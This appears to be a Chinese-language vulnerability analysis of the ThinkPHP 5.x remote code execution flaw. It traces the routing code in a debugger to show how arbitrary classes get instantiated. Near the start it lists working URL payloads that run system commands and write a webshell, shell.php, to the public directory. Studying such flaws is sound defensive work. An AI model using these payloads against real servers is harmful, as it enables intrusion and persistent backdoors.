影响范围:

1
2
TP 5.0.7 - 5.0.24
TP 5.1.0 - 5.1.30

环境:

1
2
3
thinkphp5.1.29 + phpstorm

下载tpv5.1.29的源码, 然后直接composer update

payload

1
2
3
4
5
6
7
8
9
/?s=index/\think\Request/input&filter[]=system&data=whoami

?s=index/\think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami

?s=index/\think\request/input?data[]=-1&filter=phpinfo

写马:
?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
public目录下生成shell.php

分析

1
2
执行调试
?s=index/\think\Request/input&filter[]=system&data=whoami

在index.php中
image-20240806211147218

进入到run() 方法 (App.php)

在这里进行断点, 进行调试

image-20240806212125097

$dispatch = $this->dispatch; 无初始值, 默认为空, 进入到 routeCheck方法

routeCheck方法

image-20240806212506990

跟进到path()方法

image-20240806212715781

继续跟进到pathinfo()方法

image-20240806213015491

$pathinfo获取 当前类的var_pathinfo 的值–>s ,所以可以通过 ?s 参数传入值

image-20240806213336785

根据之前的传参, 此时就已经被赋值为 index/\think\Request/input

image-20240807194425137

继续回到routeCheck方法, 继续向下

image-20240806214253673

到路由检测里面去, 跟进route类的 check()方法

check()方法

image-20240806235511371

经过一系列的检测后会返回一个 UrlDispatch类的对象 —> Url类的对象
image-20240806235751753

继续,返回的对象, 进入到它的init()方法

init()方法

image-20240807000528123

也就是Url类的init()方法
image-20240807000119713

接着进入到parseUrl方法

parseUrl方法

image-20240807002019115

将访问的url的信息拆分为三份 $module $controller $action返回

然后又会实例化一个Module类对象, 访问这个对象的init()方法

Module类对象的init()方法

image-20240807001210564

进过一系列的操作
image-20240807201708567

最后返回的是当前实例化的对象 , 赋值给$dispatch

回到run方法

此时$dispatch是实例化的Module对象

image-20240807200722916

image-20240807200833542

程序继续向下执行

image-20240807202556631

此时$data为null, 又继续执行到Module类的 run()方法
image-20240807202753426

创建一个闭包函数,传入add()方法,然后将闭包函数作为中间件存入$this->queue[$type][] = $middleware;

image-20240807203826511

继续向下执行

进入到dispatch()方法

image-20240807203502814

使用回调函数调用resolve()方法

resolve()

image-20240807205231018

将之前的闭包函数赋值给 $middleware

到下面的call_func_array调用之前的闭包函数

image-20240807205403025

进入到Dispatch类的run()方法

image-20240807211325739

接着向下执行, 又会进入到 exec方法
image-20240807211552487

Module类的exec()方法

image-20240807211752640

接着controller方法

image-20240807214023337

接着parseModuleAndClass方法

image-20240807214101774

关键点:

如果控制器的名字中存在 \或者以\开头,会被会被当作一个类,可以实例化任意类

回到controller方法,会检查类是否存在,存在就会去调用__get()方法

image-20240807214240623

然后是make()方法
image-20240807214351143

make方法用来将类实例化

继续回到exec()方法

image-20240807214535357

获取操作名,就是需要执行的实例化类的方法,然后方法里面对应的参数通过get请求传入

tp的路由规则是 ?s=模块/控制器/操作名

寻找可以利用的类和方法 , 写shell或者执行命令

参考:

https://xz.aliyun.com/t/9361?time__1311=n4%2BxnD0DuAKCqiKi%3DDkDlhjmYemwETh4DvUq%3Dx#toc-3

https://xz.aliyun.com/t/9369?time__1311=n4%2BxnD0DuAKCqiKqD5DsA3o4xgDx90Z0E0poD